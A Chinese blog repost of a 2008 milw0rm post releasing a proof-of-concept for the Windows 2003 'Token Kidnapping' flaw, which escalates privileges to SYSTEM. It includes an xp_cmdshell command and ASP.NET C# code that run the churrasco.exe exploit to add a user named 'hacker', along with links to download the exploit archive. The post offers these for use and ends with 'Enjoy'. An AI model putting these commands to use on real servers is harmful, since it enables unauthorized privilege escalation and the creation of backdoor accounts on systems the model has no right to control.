Token Kidnapping Windows 2003 exploit-优快云博客

本文详细介绍了在Windows 2003系统中发现的一个关键漏洞，即Token Kidnapping漏洞，该漏洞允许攻击者在系统级别执行代码。文章提供了漏洞的PoC利用代码示例，展示了如何通过IIS6 worker进程或SQL Server执行代码，以及如何利用ASP.NET或经典ASP Web应用进行攻击。

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在聚合里看到人家测试，和刺聊了一下，刺居然告诉我MS没有修补这个漏洞，马上测试大家看图

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2008-10-9 15:08

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好像是某次大会公布出来的

http://www.milw0rm.com/exploits/6705

(From http://nomoreroot.blogspot.com/2008/10/windows-2003-poc-exploit-for-token.html)
It has been a long time since Token Kidnapping presentation (http://www.argeniss.com/research/TokenKidnapping.pdf)
was published so I decided to release a PoC exploit for Win2k3 that alows to execute code under SYSTEM account.
Basically if you can run code under any service in Win2k3 then you can own Windows, this is because Windows
services accounts can impersonate.  Other process (not services) that can impersonate are IIS 6 worker processes
so if you can run code from an ASP .NET or classic ASP web application then you can own Windows too. If you provide
shared hosting services then I would recomend to not allow users to run this kind of code from ASP.
-SQL Server is a nice target for the exploit if you are a DBA and want to own Windows:
exec xp_cmdshell 'churrasco "net user /add hacker"'
-Exploiting IIS 6 with ASP .NET :
...
System.Diagnostics.Process myP = new System.Diagnostics.Process();
myP.StartInfo.RedirectStandardOutput = true;
myP.StartInfo.FileName=Server.MapPath("churrasco.exe");
myP.StartInfo.UseShellExecute = false;
myP.StartInfo.Arguments= " \"net user /add hacker\" ";
myP.Start();
string output = myP.StandardOutput.ReadToEnd();
Response.Write(output);
...
You can find the PoC exploit here http://www.argeniss.com/research/Churrasco.zip
backup link: http://milw0rm.com/sploits/2008-Churrasco.zip
Enjoy.
Cesar.
# milw0rm.com [2008-10-08]

转载于:https://www.cnblogs.com/jannock/archive/2008/10/10/1308086.html